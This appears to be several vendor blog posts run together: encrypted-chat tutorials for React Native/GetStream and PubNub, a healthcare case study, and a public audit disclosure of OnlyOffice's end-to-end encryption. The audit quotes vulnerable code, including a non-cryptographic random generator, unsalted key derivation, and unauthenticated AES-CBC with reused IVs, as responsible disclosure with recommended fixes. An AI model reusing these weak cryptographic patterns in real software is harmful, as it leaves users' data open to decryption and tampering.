• Users API custom nodeJS backend to handle everything concerning users.

Now to the actual implementation

Let's start our application with a registration screen where the user can enter their details. When a user successfully registers, we can authenticate him/her with our authentication provider.

The authentication providers returns with a JWT code that can be used across our full application.

{  "accessToken":  "eyJ2ZXIiOiIxLjAiLCJraWQiOiIzYWMxMTjYwZi0yMzhm..."}

We would like to connect the user to the GetStream servers, thus we need to fetch a JWT token from GetStream. An endpoint in our Messaging API will handle this. Use the user ID from your authentication provider to create a token at GetStream.

import { StreamChat } from 'stream-chat';
const serverClient = StreamChat.getInstance(STREAM_KEY, STREAM_SECRET);

export async function getMessagingToken(id: string) {
  return serverClient.createToken(id);
}

We will store this messaging token inside our react-native application. We are using Zustand ❤️ for this. Using this token, we are now able to connect a user to our GetStream client.

const client = StreamChat.getInstance(config.stream.apiKey);

 const init = useCallback(async () => {
    try {
      // First disconnect any user that was still connected.
      await client.disconnectUser();
      await client.connectUser(
        {
          id: connectedUserId,
        },
        // Use the JWT token received from our messaging API endpoint.
        messagingToken.accessToken,
      );

      logger.verbose('ChatClient initialized');
    } catch (error) {
      logException(error);
    }
  }, [messagingToken, connectedUserId, client]);

Let's continue to the next step in our onboarding process. We now need to initialise our 2FA with Seald. We created a screen where the user can enter his/her phone number.

When a user enters their phone number, we need to send a challenge that the user can enter on the following screen. We created a custom hook useTwoFactorAuth to handle the setup of 2FA.

For doing actual API calls, we use react-query. I will not deep dive into every custom hook, the 3 hooks below are fetching some data with react-query from our API endpoints.

const { signup, isLoading } = useSignupSeald();
const { fetchMe, isLoading: isLoadingFetchMe } = useMeSeald();
const { sendChallenge, isLoading: isLoadingSendChallenge } = useSendChallenge();

When a user does not yet exist, we call the signup endpoint. This endpoint will make sure that the user is saved in our postgreSQL database and that a TwoManRuleKey is created and stored in our database. To know more about the protection with the 2-man-rule, you can check the docs.

  const setup2FA = async (phoneNumber: string) => {
    let user: OnboardedUser;

    try {
      // The messaging API will be called to fetch an existing seald user, this is needed because the login will also execute this setup2FA hook.
      user = await fetchMe();
      // It's possible that the user early killed the application while the signup was still busy. If we were not able to
      // store an activation key, we need to signup the user again to receive one needed for the initiation of the identity.
      if (!user.activationKey) {
        user = await signup();
      }
      // eslint-disable-next-line @typescript-eslint/no-explicit-any
    } catch (error: any) {
      // User does not exist
      if (error?.error?.type === MessagingApiErrorType.USER_NOT_FOUND) {
        user = await signup();
      }
    }
  };

For seald to be able to work properly, we need to generate a user licence token in our backend. See docs for more information on how to do this. Whenever the endpoint to fetch the user or to signup the user is called, a licence token will be generated and returned by our API.

When an existing user returns, the fetchMe endpoint will return the following response:

{
   "id":"0015r00000OxGgIAAV",
   "isEnrolled":true,
   "sealdId":"TESTING_0015r00000OxGgIAAV",
   "twoManRuleKey":"VCl2Z0U+LYZ6Fq2rjm40PFrYWlrLDIsSRgGufKo9wJGlxDAU+5mUwji21g2G86GzN3dLKsrdWmYbPZn0QTGa9g=="
}

When a new user is created during signup, the response from the signup endpoint will be:

{
   "activationKey":"dbbb72c5-b2c5-47db-ad4c-5dfec91918df:5b1f82d5f3cb073c0103a4aa55bdd900777a4b3b4b89b99d906af533f3358a6e:7f24176eff547227984710ac5b2d858b3a78af509225f5b6cdc41197254dd81a02b16d893b176ffd70c952b87c4ba95a1f98b9f0bc3d0926f117e832fa45a9f3",
   "id":"0015r00000Q0DQcAAN",
   "isEnrolled":false,
   "sealdId":"TESTING_0015r00000Q0DQcAAN",
   "twoManRuleKey":"miSTd8ad7FrtvNSMee+uLDLgj+tYCPf9iENm3CzsytILSw5YuMI1TEOtEF7sU46f4qa6KVF+wb3tU1cdbLzTBA=="
}

Now that our user is created, we can send the challenge to the user and initiate the seald identity with the activation key.

 if (user) {
      // The activation key is the user licence token from seald.
      const { sealdId, activationKey } = user;

      // Create session in seald, send challenge to user.
      await sendChallenge({ phoneNumber });

      if (sealdId && activationKey) {
        await seald.initiateIdentity(sealdId, activationKey);
      }
    }

The sendChallenge will call our Messaging API endpoint that implements the sending of a challenge according to the specifications. Seald will create a "session" and this session will be required in the save or retrieve of our seald identity.

{
   "mustAuthenticate": true,
   "twoManRuleKey":"miSTd8ad7FrtvNSMee+uLDLgj+tYCPf9iENm3CzsytILSw5YuMI1TEOtEF7sU46f4qa6KVF+wb3tU1cdbLzTBA==",
   "twoManRuleSessionId":"c1c2b55f-f119-4a88-8a0d-e95512e3c667"
}

We can now continue to our last screen for entering the challenge.

A custom hook will be called when the challenge was entered:

export const useSaveOrRetrieveSealdIdentity = () => {
  const { updateUser } = useUpdateUser();
  const { enroll } = useEnroll();

  const sealdId = useStore(state => state.sealdId);
  const twoManRuleSessionId = useStore(state => state.twoManRuleSessionId);
  const twoManRuleKey = useStore(state => state.twoManRuleKey);
  const mustAuthenticate = useStore(state => state.mustAuthenticate);
  const userEnrolled = useStore(state => state.isEnrolled);

  return {
    saveOrRetrieveIdentity: async (phoneNumber: string, challenge: string) => {
      // Store phone number for later login purposes.
      await updateUser({ c_recoveryPhoneNumber: phoneNumber });

      // If user was already enrolled, the identity already exists so we need to retrieve it.
      // SSKS will be called, and the identity will be retrieved.
      if (userEnrolled) {
        await seald.retrieveIdentity(
          sealdId,
          twoManRuleSessionId,
          twoManRuleKey,
          challenge,
          phoneNumber,
        );
      } else {
        await seald.saveIdentity(
          phoneNumber,
          twoManRuleKey,
          sealdId,
          twoManRuleSessionId,
          mustAuthenticate,
          challenge,
        );

        if (!userEnrolled) {
          enroll();
        }
      }
    },
  };
};

We now have established a secure identity and can use this identity to create secure sessions between two users 🙌

Creating a secure chat

GetStream.io offers us very fine UI components that easily integrate in our react-native application. We have modified some components of GetStream, but in this example I will only show the necessary things.

When creating a screen for the chat, you can start with a basis implementation like this:

  import { Channel, Chat } from 'stream-chat-react-native';

  const client = StreamChat.getInstance(config.stream.apiKey);
  const channel = client.channel("messaging", id, ["member1", "member2"]);

  return (
    <Chat client={client}>
        <Channel channel={channel} /> // Channel you created between two members.
    </Chat>
  );

Without encrypting/decrypting any messages, the chat will look like this:

But we want to be able to send messages encrypted. Therefore, we need to override the doSendMessageRequest method. As you can see, we encrypt our message using an encryption session. This encryption session needs to be created when creating your channel.

When an encryption session between two users is created, we store the session ID on our channel metadata in getstream, so it can be reused to fetch an encryption session.

const channel = client.channel("messaging", id, ["member1", "member2"]);
  await channel.watch();

  let session: EncryptionSession;

  if (channel.data?.session_id) {
    session = await seald.retrieveEncryptionSession(channel.data.session_id);
  } else {
    session = await seald.createEncryptionSession(members.map(member => member.sealdId));
    await channel.updatePartial({ set: { session_id: session.sessionId } });
  }

  const sendMessage = async (_channelId: string, message: Message) => {
    const encryptedText = await encryptionSession.encryptMessage(message.text || '');
    return channel.sendMessage({ ...message, text: encryptedText });
  };
  
  return (
    <Chat
      client={client}
    >
        <Channel
          channel={channel}
          doSendMessageRequest={sendMessage}
        />
    </Chat>
  );

If we send another message now, you can see that the message text is now encrypted and unreadable.

We need to override the MessageText component to show an unencrypted message.

return (
    <Chat
      client={client}
    >
        <Channel
          channel={channel}
          doSendMessageRequest={sendMessage}
          MessageText={(props: MessageTextProps) => (
            <DecryptedMessageText
              {...props}
              channel={channel}
              session={encryptionSession}
              onError={handleDecryptionError}
              onFinished={handleDecryptionEnd}
            />
          )}
        />
    </Chat>
  );

Our DecryptedMessageText component will use our encryption session to decrypt the message.

import { useEffect, useRef, useState } from 'react';
import { useTranslation } from 'react-i18next';
import type { EncryptionSession } from '@seald-io/sdk/lib/main';
import type { MessageTextProps, MessageType as Message } from 'stream-chat-react-native';

import type { LocalChannel } from 'core/chat/types';

interface Props extends MessageTextProps {
  channel: LocalChannel;
  session: EncryptionSession;
}

const decryptMessage = async (text: string, session: EncryptionSession) => {
  try {
    // If we have  JSON, it can be decrypted.
    JSON.parse(text);
    try {
      if (!session) {
        throw new Error('EncryptionSession is undefined');
      }
      return await session.decryptMessage(text);
    } catch (err) {
      logException(err);
      return false;
    }
  } catch (err) {
    // Otherwise it's just plain text
    return text;
  }
};

const DecryptedMessageText = ({
  channel,
  session,
  message,
  renderText,
  theme,
  ...rest
}: Props) => {
  const { t } = useTranslation();
  const decryptedMessage = useRef<Message>(message);

  useEffect(() => {
    const decrypt = async () => {
      if (message.text) {
        const text = await decryptMessage(message.text, session);
        if (text === false) {
          // Handle errors
          return;
        }

        decryptedMessage.current = {
          ...message,
          text,
        };
      }
    };

    decrypt();
    // eslint-disable-next-line react-hooks/exhaustive-deps
  }, [message, session]);

  return renderText({
    ...rest,
    message: decryptedMessage.current,
  });
};

export default DecryptedMessageText;

Our message is now decrypted, and again visible for the members of the conversation.

When we take a look at the GetStream.io dashboard, we can also see that our messages are not readable, and so are securely encrypted 💪

Conclusion

ps: you use PubNub instead of Stream? Here's an article that explain how to integrate E2EE in PubNub.

As you understood, Seald is part of it 🔥

It is alongside Wimi (but not only 😎), that we will take up this challenge.

The project has a simple goal: to make Wimi a sovereign and secure alternative to Microsoft O365 and Google Workspace, no less. A solution for any public or private organization that is sensitive to the protection of its business data.

The consortium of companies that Wimi has gathered around the project is composed of :

• Seald specialized in data privacy, with an end-to-end encryption technology
• XWiki specialized in collaborative work software (which publishes the well-known CryptPad)
• Watoo specialized in digital tattooing
• Linagora specialized in free software
  

A little anecdote from our visit to the jury last year.

When we were presenting Seald and our end-to-end encryption technology, we were asked with a lot of skepticism if "the Wimi server had hot or cold access to the plaintext data or to the keys allowing to decrypt the data?

I really appreciated the precision of the question (that's what I call a bullshitometer) and the answer was equally precise: "no, the data is encrypted and decrypted on the client side, with hot and cold inaccessible keys from Wimi servers".

Wimi's promise is already almost a reality. They are currently undergoing SecNumCloud qualification and offer the following features:

• Collaborative document editing
• Video conferencing
• Team messaging
• Calendar
• Document drive (web & desktop)

And a few more new features coming in the next few months 😉

The biggest challenge is still ahead of us: back to work 💪

Stay tuned.

Present in France 🇫🇷 and in Germany 🇩🇪, the Recare solution:

• Reduces the Average Length Of Stay (ALOS) in the facilities
• Saves time for medical and administrative teams
• Centralizes all transfer requests on a single platform

The Recare problem

For Charles Cote - CTO @Recare, the confidentiality of medical data is its main imperative. He wants to implement the highest level of confidentiality on the data.

Here are the different issues he wanted to address:

• Guarantee that only healthcare professionals can access data (not even Recare or its host).
• Prevent data from being stolen even in the event of unauthorized access to Recare's servers.
• Sleep well 😴

End-to-end encryption was chosen by Charles Cote to address Recare's issues. It is a technology that ensures that only authorized users will be able to access the data, and not hackers, administrators, institutions, hosts, or even Recare. In other words, it prevents data from being stolen even if there is unauthorized access to Recare's servers.

This technology is much stronger than encryption in transit combined with encryption at rest.

Without End-to-End encryption:

With End-to-End encryption:

How does Seald help Recare solve its problems?

In March 2021, Charles contacted Seald for support in integrating end-to-end encryption.

At that time, Recare already had an end-to-end encryption implementation, developed in-house with open-source libraries, and implemented very early in the life of their product.

After an audit revealed that the in-house implementation was not state-of-the-art, Charles turned to an external solution like Seald for several reasons:

• It relieves Recare of internal maintenance and auditing of a complex tool, allowing them to focus on their core business.
• It assures Recare that the encryption protocols used are state-of-the-art.
• It allows to demonstrate to its customers the physical inaccessibility of the data by Recare (which is always arguable when the solution is internal).

Seald steps in by offering an end-to-end encryption SDK "as-a-service" for developers to help them protect their users' data with absolute confidence, without any need for cryptographic skills.

Private key storage 🔐

In the original implementation of Seald in Recare, each user could retrieve one of their private keys:

• In the browser storage if the user authenticated to that browser.
• With a recovery mechanism where the user has to copy an OTP (one-time password) received by email.

Logically, once authenticated in a browser, a user does not need to re-authenticate unless the browser cache is cleared.

The problem Recare faced was that many of its customers have an IT policy of resetting browser caches every day... so some users had to be emailed an OTP every morning to use Recare: it was unusable as it was.

To overcome this problem, Recare offers another silent recovery mechanism: the password. The password is used to encrypt a private key and this encrypted private key is saved remotely.

The recovery mechanism where the user has to copy an OTP (one-time password) received by email is then used only as a last resort, when the user has forgotten their password and wishes to reset it.

Caching of symmetric keys 🔑

When Recare integrated Seald, symmetric key caching was not offered. This caused each decryption to trigger a network request, which in their case could slow down page loading.

The reason why caching was not implemented at the time, and is still not enabled by default in the latest SDK versions, is that it prevents instant revocation of access to a key: the key will remain accessible to someone who is revoked for at most the TTL of the cache.

We have made 2 changes:

• In v0.14.0: implemented serialization and reinstantiation of symmetric keys to allow manual cache creation.
• In v0.16.0: implemented an optional cache, by default in memory only, but customizable to allow a persistent cache implementation.

Group management 👫

The integration of Seald into Recare is centered around the functionality of groups.

Each care facility is represented by a Seald group, and every professional in a care facility is a member of that group.

When a patient record is sent from one facility to another it is encrypted for both the sender group and the target group, and the sender group is declared as the "managing group" so that each member of the group can manage the rights to that key.

There are also some cases where the group is not yet created at the time the file has to be encrypted (this can happen the first time a care facility receives a patient file).

In this case, strictly end-to-end encryption is technically not possible, but it can be approached: the record is encrypted for an UnregisteredUser, which stores the bare symmetric key on the Seald servers in escrow, and when the group is finally created, the Recare server assigns that UnregisteredUser to that newly created group, which triggers the Seald servers to encrypt the symmetric key for that group.

In this scenario, Recare never has access to the key, and Seald never has access to the data.

Benefits of Seald within Recare

With Seald, Recare goes beyond traditional data security practices. End-to-end encryption ensures that only authorized users will be able to access medical data, greatly reducing the impact of a potential data leak 🛡️.

A malicious actor who managed to infiltrate Recare's servers would not be able to access the data. This is a robustness that a hosting provider certification (HDS, ISO 27001, HIPAA, etc.) for health data hosting does not offer.

It is by ensuring this higher level of data confidentiality that they can gain and keep the trust of their customers in France and in Germany.

Finally, Seald allows Recare to guarantee to its users to always be at the forefront of security, and to follow the evolution of technologies in this field.

Seald is the only certified end-to-end encryption SDK in the world. The solution is certified by the ANSSI (the French cybersecurity agency). The technology has been audited by third-party experts, based on compliance analysis and advanced penetration testing, ensuring Recare has a robust security model.

As always, feel free to contact our team for more information.

See you soon 👋

Disclaimer: This review was by no means a full code review nor a formal security audit. Some weaknesses may have not been found during this review, and the recommendations may not be perfect.

Summary: We found multiple critical flaws in the E2EE implementation of the latest version at the time of the audit (in April 2021), which was 6.3.0:

• the PRNG was unsafe,
• the password derivation was unsalted,
• the symmetric encryption was unauthenticated and re-used IVs,
• and there was a potential MITM if there's an active attack on the server.

Disclosure policy: the disclosure policy of the Google Project Zero (which is to us a reference in the field) is to disclose publicly after a maximum of 120 days after the initial report was made. In this case, the initial report was made 433 days ago, and therefore we decided to publish this report publicly.

History

• 2021/04/23: We contacted multiple members of the development team at OnlyOffice to have further details regarding the Private Rooms feature, which implements end-2-end encryption with a plugin.
• 2021/04/26: a marketing manager at OnlyOffice sent me the GitHub link to the source code of the E2EE plugin.
• 2021/04/27:  we contacted this person back via email to warn him we wanted to send this report. This person forwarded this request to the developer in charge of the development of the E2EE plugin. This developer asked the internal security team to give us instructions on how to send the report.
• 2021/04/30: we sent the report via a secure channel established with the security team of OnlyOffice with the contact information provided here.
• 2021/05/03: we received confirmation that the report had been received and fixes were prioritized
• 2021/06/23: we received confirmation that in v6.3.1 the RNG was changed to a more secure RNG, and that AES-CBC was changed to AES-GCM. We haven't reviewed their modifications, and they assured us that the other issues would be addressed in a further release of the DocumentServer, which we haven't checked.
• 2022/07/07: Since the disclosure deadline of the Google Project Zero is of a maximum of 120 days, and it has been more than a year since we made the initial report, it seems reasonable to publish this report publicly today.

Findings

The findings are sorted by type of operation rather than criticity.

They all relate to v6.3.0 which was the latest when writing this report (in April 2021).

Symmetric encryption

Pseudo-random number generator

The code OnlyOffice used to, in fine, generate a password is the following:

window.AscCrypto.CryptoWorker.createPasswordNew = function() {
  function s4() {
    return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1);
  }
  return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4();
}

This uses as a source of random the function Math.random() which is not cryptographically secure.

There have been exploits in the past of weaknesses with this function as exposed here, the version of V8 used is more resilient to this kind of exploits, but this is still not cryptographically secure as explained on the V8 blog: https://v8.dev/blog/math-random as it uses xorshift128+.

This issue is CRITICAL as it could lead an attacker to guessing what encryption keys are used.

We had recommended to either:

• using webcrypto APIs if Chromium Embedded Framework allows to do so, or;
• using node-forge which has a JS fallback for generating a safer random, or;
• using Cpp bindings to OpenSSL secure PRNG just like it is done for the rest of the primitives.

Password derivation

When initializing the AES "session", OnlyOffice called CryptoAES_Init with one argument password from worker.js, this is defined here:

else if (name == "CryptoAES_Init")
{
    std::string sPassword = arguments[0]->GetStringValue().ToString();
    std::string sSalt = "";
    if (arguments.size() > 1)
        sSalt = arguments[0]->GetStringValue().ToString();
    if (NULL != m_pAES_KeyIv)
        NSOpenSSL::openssl_free(m_pAES_KeyIv);
    m_pAES_KeyIv = NSOpenSSL::PBKDF2_desktop(sPassword, sSalt);
    return true;
}

This function has two issues:

• the first one is that the sSalt is never given (as is it always called with one argument only);
• the second one is that if it were called with a second argument, it wouldn't be used: sSalt is initialized with arguments[0] instead of arguments[1], so PBKDF2_desktop would be called with sPassword as both the sPassword and the sSalt.

PBKDF2_desktop is defined here:

unsigned char* PBKDF2_desktop(const std::string& pass, const std::string& salt)
{
    unsigned char* key_iv = NULL;
    if (salt.empty())
    {
        unsigned int pass_salt_len = 0;
        unsigned char* pass_salt = NSOpenSSL::GetHash((unsigned char*)pass.c_str(), (unsigned int)pass.length(), OPENSSL_HASH_ALG_SHA512, pass_salt_len);
        key_iv = PBKDF2(pass.c_str(), (int)pass.length(), pass_salt, pass_salt_len, OPENSSL_HASH_ALG_SHA256, 32 + 16);
        openssl_free(pass_salt);
    }
    else
    {
        key_iv = PBKDF2(pass.c_str(), (int)pass.length(), (const unsigned char*)salt.c_str(), (unsigned int)salt.length(), OPENSSL_HASH_ALG_SHA256, 32 + 16);
    }
    return key_iv;
}

Because the salt is empty in this codepath, OnlyOffice derives the salt out of the password itself using a SHA512.

This leads to having always the same key for a given password, which is in itself a bad practice.

This issue is MINOR, as this would only be problematic if it were an actual "password" which could be re-used elsewhere.

We had recommended generating a random salt and storing it in the document info (where the encrypted symmetric keys are stored), and retrieving it using the readPassword which already parses the docInfo.

Encryption / decryption

The encryption was done via worker.js that calls CryptoAES_Encrypt, which calls Cpp code which calls AES_Encrypt_desktop defined elsewhere:

bool AES_Encrypt_desktop(const unsigned char* key_iv, const std::string& input, std::string& output)
{
    unsigned char* data_crypt = NULL;
    unsigned int data_crypt_len = 0;
    bool bRes = AES_Encrypt(OPENSSL_AES_256_CBC, key_iv, key_iv + 32, (unsigned char*)input.c_str(), (unsigned int)input.length(), data_crypt, data_crypt_len);
    if (!bRes)
        return false;
    output = Serialize(data_crypt, data_crypt_len, OPENSSL_SERIALIZE_TYPE_BASE64);
    openssl_free(data_crypt);
    return true;
}

This has two major issues :

1/ The IV is reused across encryption operations:

The IV comes from the derivation of the password (with the PBKDF2 described in the above paragraph), which always gives the same IV for a given password.

This issue is CRITICAL as the CBC mode is used, which leaks some information when re-using the IV with the same key on similar clearTexts.

We had recommended generating a random 16 bytes IV for each encryption operation, and prepending the cipherText with the IV, instead of deriving the IV from the password.

2/ No authentication of the encryption:

AES-CBC is not an authenticated symmetric encryption scheme (like ChaCha20 or AES-GCM are) which means an attacker could inject in the cipherText malicious blocks of encrypted data, which would be decrypted upon decryption without any warning. This has led (along with other vulnerabilities) to efail.de attacks, which manage to exfiltrate encrypted data by injecting CBC gadgets that are in turn decrypted into a payload that exploits XSS vulnerabilities in the client that renders the decrypted data. This seems far-fetched, but there have been exploits in the wild of this.

This issue is CRITICAL, as an attacker could alter an encrypted document in such a way that when a user decrypts it, the attacker would be able to inject a payload at the beginning of the document, which could be the basis of a multi-staged exploit.
We had recommended doing either:

• switch to another algorithm such as ChaCha20 or AES-GCM, or;
• implement a MAC (such as HMAC-SHA256) on the {IV + cipherText}, calculate this MAC with another key, append the result after the cipherText, and check the MAC upon decryption. If the MAC verification fails, it means the cipherText has been corrupted, possibly by an attacker. To generate the other key, we would recommend deriving a 64 bytes instead of a 32 bytes key (assuming the IV is no longer derived from the password), using the first 32 bytes as the AES key, and the last 32 bytes as the MAC key.

The underlying function that actually executes the AES encryption AES_Encrypt is odd:

    bool AES_Encrypt(int type, const unsigned char* key, const unsigned char* iv, const unsigned char* data, const unsigned int& size, unsigned char*& data_crypt, unsigned int& data_crypt_len)
    {
        EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
        EVP_CIPHER_CTX_init(ctx);
        EVP_EncryptInit_ex(ctx, _get_cipher_aes(type), NULL, key, iv);
        EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, 16, NULL);
        int out_len1 = (int)size + AES_BLOCK_SIZE;
        int out_len2 = 0;
        data_crypt = openssl_alloc(out_len1);
        EVP_EncryptUpdate(ctx, data_crypt, &out_len1, data, (int)size);
        EVP_EncryptFinal_ex(ctx, data_crypt + out_len1, &out_len2);
        data_crypt_len = out_len1 + out_len2;
        EVP_CIPHER_CTX_free(ctx);
        EVP_cleanup();
        return true;
    }

It instantiates a Cipher context with AES-CBC and then uses a function to set the IV length with a constant specific to another mode of encryption EVP_CTRL_GCM_SET_IVLEN (specific to AES-GCM), we really don't know what is the effect of this function call, and that's never a good thing when doing cryptography.

This issue is needs more investigation, as we are unable to determine the potential side effects of such a function call.

Asymmetric encryption

Key generation

OnlyOffice uses RSA_generate_multi_prime_key with a primes argument at 2 which is the default behavior of RSA_generate_key_ex.

This is not an issue, just an oddity.

Encryption / Decryption

If the USE_DEPRECATED code path is used, it uses RSA_NO_PADDING which would be a CRITICAL issue, but it has apparently already been spotted.

The other code path that uses RSA_PKCS1_OAEP_PADDING is ok (even though Victor Shoup proposed OAEP+ that is even more "optimal" in 2001, it has never been implemented because the attacks against OAEP are only theoretical at this point).

Private key protection

The private key seems to be protected using the same symmetric encryption as above, which has the same flaws (which are CRITICAL), using a password m_sPassword which comes from tmpInfo (we found this here).

On this topic, we are not familiar with the mechanism used to pass the password to this context (using tmpInfo), we are unsure this is correctly handled.

Public key retrieval

The public keys come from a 'getsharingkeys' command on the cloudCryptoCommandMainFrame which in turn seem to trigger getEncryptionAccess here, which in turn seems to request to the server the keys of the privacyRoom:

  return request({
    method: "get",
    url: `privacyroom/access/${fileId}`,
    data: fileId,
  });

There is no mechanism that I've seen that prevents the OnlyOffice server from introducing a new participant to the room. This is a literal backdoor : the server could become malicious to modify the keys in this array with a new public key, for which it has the private key, nearly silently (it could decrypt / reencrypt for the other participants on-the-fly to keep the same number of participants).

This issue is MAJOR as this can lead to a literal backdoor if the servers are actively hacked.

The strategy around this issue would be to sign the list of the participants (metadata & public keys) in such a way that the server cannot lie, or at least that it cannot lie once the participants have verified a client-side generated hash of the participants list via another channel at one point in the life-cycle of the privacyRoom (this is called the Trust On First Use paradigm, or TOFU). If signatures are introduced, separate key pairs will be needed, as one cannot sign and encrypt with the same key pair.

Conclusion

This report is based on a partial code review only, we may have misunderstood some of the codebase, the findings need to be confirmed by the development team of OnlyOffice. The recommendations we made may have themselves flaws we are not aware of, their robustness needs to be confirmed as well before implementing them.

Today, let's discover how to build an encrypted chat with Pubnub and the seald SDK.

👉 A fully working example of how to use PubNub and Seald can be found on: https://github.com/seald/pubnub-example-project

What's Pubnub ? PubNub is a real-time communication service that can be integrated into most applications. Reliable and scalable, it can easily be integrated with most common frameworks.

What's Seald ? Seald.io offers an SDK that allows you to do end-to-end encryption, with advanced management features, without any priorcryptographic knowledge. This SDK can be integrated into web, backend, mobile, or desktop applications.

Why use end-to-end encryption? 🔒

End-to-end encryption offers the highest level of privacy and security. It allows encrypting sensitive data as soon as they are collected. An early encryption will reduce the attack surface of your app. Another advantage is that you can precisely manage who can access the data. This will also protect when it is not in your scope, like third party services.

End-to-end encryption allows you to keep control at all times, when your data is in transit, when it is at rest, even when it is not in your hand. Thus, it offers a fare wider protection than other encryption technologies (TLS,full-disk-encryption, ...).

Whenever you face a case where compliance is important (GDPR, HIPAA, SOC-2,...) or where you have sensitive data (medical, defense,...), end-to-end encryption is a must-have. But even for more commonplace data, it's good practice to have. A data breach is a devastating event that is becoming more and more frequent.

Why use Seald.io instead of PubNub encryption hook 👀

PubNub SDK offers a simple encryption hook, using the cipherKey argument when instantiating its SDK. Doing so will ensure that all uploaded messages are encrypted before being sent. However, you have to do the key management yourself, which is the hardest part of an end-to-end encrypted system.

Vulnerabilities rarely come from the encryption itself, but most often from keys being leaked through flaws in the security model.

Using a third-party service for your security allows you to not have a single point of failure. Seald.io proposes a robust security model, certified by the ANSSI, with real-time access-management control, user revocation and recovery, 2FA, and more.

Goals 🏆

This article explains how to integrate Seald with PubNub step-by-step, in order to secure your chat with end-to-end encryption. We will build an example messaging app, with the following features:

• One-to-one and group chat rooms.
• Each member has a dedicated chat room with every other user.
• Anyone can create a group chat room with multiple other users.
• Use end-to-end encryption for every message and file sent.
• Allow real-time access-management to chats.

Implementation 🧠

Set up a PubNub account 👤

To get started, you will need a PubNub account. You can sign up here. Once logged in on your dashboard, you should see that a demo app with a demo keyset has been created.

Select the demo keyset, and scroll to the configuration tab. For our demo, we need to activate Files and Objects permissions. For the Object permission, we will use the following events: User Metadata Events, Channel Metadata Events andMembership Events.

Once the keyset is created and configured, we need to copy it to our frontend.

Let's create a JSON file on the src/ folder, called settings.json. We will use this file for all the API keys we will need. Starting with the PubNub keyset:

{
  "PUBNUB_PUB_KEY": "pub-c-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
  "PUBNUB_SUB_KEY": "sub-c-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"
}

Building a basic chat using PubNub 💬

We will use PubNub for almost every backend task. Our backend will only handle user sign-up/sign-in, and use a minimalist user model with only an ID, a name, and an email.

On the front side, we need a small authentication interface.

Once the user has an account, the first thing they need is an instance of the PubNub SDK.

To identify the user on Pubnub, we need to provide a UUID. To keep things simple, we will use the same id as on our backend.

/* frontend/src/App.js */

import settings from './settings.json' // our settings file for API keys

/*
...
*/

const pubnub = new PubNub({
    publishKey: settings.PUBNUB_PUB_KEY,
    subscribeKey: settings.PUBNUB_SUB_KEY,
    uuid: currentUser.id
})

To keep our backend as simple as possible, we will use PubNub's user metadata to exchange users' info. Just after the SDK instantiation, we simply call PubNub setUUIDMetadata function.

/* frontend/src/App.js */

await pubnub.objects.setUUIDMetadata({
  uuid: currentUser.id,
  data: {
    email: currentUser.emailAddress,
    name: currentUser.name
  }
})

Getting initial app state 🌱

The first thing to do with PubNub is to retrieve all existing members and store them in our local data store.

/* frontend/src/App.js */

const existingMembers = await pubnub.objects.getAllUUIDMetadata()
dispatch({
  type: SET_USERS,
  payload: {
    users: existingMembers.data.map(u => new User({ id: u.id, name: u.name, emailAddress: u.email }))
  }
})

Each chat room will correspond to a PubNub channel. We will also add some metadata to each channel:

• ownerId: The ID of the user who created the room.
• one2one: A boolean to differentiate direct messaging rooms, and group rooms.
• archived: A boolean, to hide a deleted group room.

The ownerId metadata will be used later, when adding the Seald SDK. PubNub doesn't have an ownership concept, but Seald does. It will define who can add or remove users from a channel. It basically defines a group administrator.

We will start by retrieving existing chat rooms. We will also need the room metadata, so we need to include custom fields. Then, we need to filter out archived rooms, and send everything to our data store. Finally, we subscribe to the PubNub channel associated with the room, so we will receive new messages.

/* frontend/src/App.js */

// Retrieve rooms of which we are members
const memberships = await pubnub.objects.getMemberships({
  include: {
    customChannelFields: true
  }
})
const knownRooms = []
// For each room, retrieve room members
for (const room of memberships.data.filter(r => !r.channel.custom.archived)) {
  const roomMembers = await pubnub.objects.getChannelMembers({ channel: room.channel.id })
  knownRooms.push(new Room({
    id: room.channel.id,
    name: room.channel.name,
    users: roomMembers.data.map(u => u.uuid.id),
    ownerId: room.channel.custom.ownerId,
    one2one: room.channel.custom.one2one
  }))
}
// Store rooms in our data store
dispatch({
  type: SET_ROOMS,
  payload: {
    rooms: knownRooms
  }
})
// Subscribe to channels to get new messages
pubnub.subscribe({ channels: knownRooms.map(r => r.id) })

Now we have fetched all the rooms we are in. We need one last thing to finish app initialization: ensuring we have a one2one room with every other member, including newly registered ones.

For every newly found user, we will create a new room and send a hello message. Then, we will set the room's metadata, and subscribe to it.

/* frontend/src/App.js */

// Ensure that we have a one2one room with everyone
const one2oneRooms = knownRooms.filter(r => r.one2one)
for (const m of existingMembers.data.filter(u => u.id!== currentUser.id)) {
    if (!one2oneRooms.find(r => r.users.includes(m.id))) {
      // New user found: generating a new one2one room
      const newRoomId = PubNub.generateUUID()
      const newRoom = new Room({
            id: newRoomId,
            users: [currentUser.id, m.id],
            one2one: true,
            name: m.name,
            ownerId: currentUser.id
          })
      // Add the new room to our local list
      dispatch({
        type: EDIT_OR_ADD_ROOM,
        payload: {
          room: new Room({
            id: newRoomId,
            users: [currentUser.id, m.id],
            one2one: true,
            name: m.name, ownerId: currentUser.id
          })
        }
      })
      // Publish a "Hello" message in the room
      await pubnub.publish({
        channel: newRoomId,
        message: {
          type: 'message',
          data: (await sealdSession.encryptMessage('Hello 👋'))
        }
      })
      // Subscribe to the new room
      pubnub.subscribe({ channels: [newRoomId] })
      await pubnub.objects.setChannelMetadata({
        channel: newRoomId,
        data: {
          name: 'one2one',
          custom: {
            one2one: true,
            ownerId: currentUser.id,
          },
        }
      })
      await pubnub.objects.setChannelMembers({
        channel: newRoomId,
        uuids: [currentUser.id, m.id]
      })
    }
}

Once all that is done, our initial app state is fully defined. However, we need to keep it up to date.

It can be done simply by adding an event listener for membership events.

/* frontend/src/App.js */

pubnub.addListener({
  objects: async function(objectEvent) {
    if (objectEvent.message.type === 'membership') {
      if (objectEvent.message.event === 'delete') { // User is removed from a room
        /*
        Removing the room from store...
        */
      }
      if (objectEvent.message.event === 'set') { // User is added to a room
        const metadata = await pubnub.objects.getChannelMetadata({ channel: objectEvent.message.data.channel.id })
        const roomMembers = (await pubnub.objects.getChannelMembers({ channel: objectEvent.message.data.channel.id })).data.map(u => u.uuid.id)
        /*
